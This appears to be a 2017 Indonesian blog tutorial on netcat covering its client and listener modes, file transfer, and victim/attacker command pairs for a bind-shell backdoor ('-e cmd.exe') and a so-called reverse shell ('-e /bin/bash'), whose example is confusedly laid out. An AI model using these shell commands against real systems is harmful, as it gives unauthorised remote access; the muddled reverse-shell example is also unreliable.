Pengertian dan Cara Menggunakan Netcat

Februari 02, 2017
Linux Netcat Tools

Netcat adalah sebuah utiliti tool yang digunakan untuk berbagai hal yang berkaitan dengan protokol TCP atau UDP. Yang dapat membuka koneksi TCP, mengirimkan paket­paket UDP, listen pada port ­port TCP dan UDP, melakukan scanning port, dan sesuai dengan IPV4 dan IPV6.

Tidak seperti telnet, script nc memisahkan pesan­ error ke standar error daripada ke standar output, sedangkan telnet mengirimkan output dan error ke standar output yang sama.

Biasanya netcat ini digunakan oleh para hacker atau peretas untuk melakukan connect back pada sistem target agar hacker mendapatkan akses root melalui port yg telah di tentukan oleh hacker tersebut.

Netcat salah satu alat yang paling umum digunakan oleh hacker untuk mengeksploitasi sistem. Ini berjalan pada berbagai sistem termasuk Windows, Linux, Solaris, dll Netcat Muncul dipasang di sebagian besar distribusi Linux. Sebelum kita menggali lebih dalam kegunaan terkenal Netcat, harap perhatikan  

Artikel ini hanya untuk tujuan pendidikan dan tidak untuk kegiatan ilegal.



 Netcat Mode:


Netcat dapat beroperasi dalam 2 mode:
  1. Klien Mode : Klien selalu memulai koneksi dengan listener. Semua kesalahan dalam modus klien dimasukkan ke dalam standard error. Dalam modus klien, memerlukan alamat IP dan port dari listener.
  2. Listener Mode : Dalam mode ini, listener selalu listener untuk koneksi pada port tertentu. Output dapat menjadi output standar, mengajukan dll meminta hanya mendengarkan port.

Penggunaan Netcat


Sekarang  mari kita fokus pada subyek utama dari artikel ini kasus penggunaan.

Data Transfer

 Netcat dapat digunakan untuk mentransfer file antara mesin. Netcat bekerja dengan baik TCP dan UDP. Transfer data dapat dilakukan dengan dua cara:
Contoh kita akan mengirim backdoor ke victim dari linux ke windows.
Victim (Windows)   : nc -l -p 6789 > test.txt
Attacker (Linux)      : nc 127.0.0.1 6789 < test.txt
127.0.0.1 : IP Address kita
Netcat paling populer digunakan oleh dari pengguna yang jahat adalah untuk menciptakan sebuah shell login backdoor. Script sederhana di bawah ini akan membuat backdoor.
    
Victim (Windows) : nc -l -p 1234 -e cmd.exe
Attacker (Linux)   : nc 127.0.0.1 1234


Reverse Shells

Netcat juga dapat digunakan untuk mendorong sesi klien dari klien ke server. Teknik ini disebut reverse shell dengan perintah berikut ini.

Victim (Windows) : nc -l -p 1234
Attacker (Linux)   : nc 127.0.0.1 1234 -e /bin/bash

 


Artikel Terkait

Next Article
« Prev Post
Previous Article
Next Post »
Penulisan markup di komentar
  • Untuk menulis huruf bold silahkan gunakan <strong></strong> atau <b></b>.
  • Untuk menulis huruf italic silahkan gunakan <em></em> atau <i></i>.
  • Untuk menulis huruf underline silahkan gunakan <u></u>.
  • Untuk menulis huruf strikethrought silahkan gunakan <strike></strike>.
  • Untuk menulis kode HTML silahkan gunakan <code></code> atau <pre></pre> atau <pre><code></code></pre>, dan silahkan parse dulu kodenya pada kotak parser di bawah ini.
Konversi Code
Disqus
Silahkan Berkomentar Dengan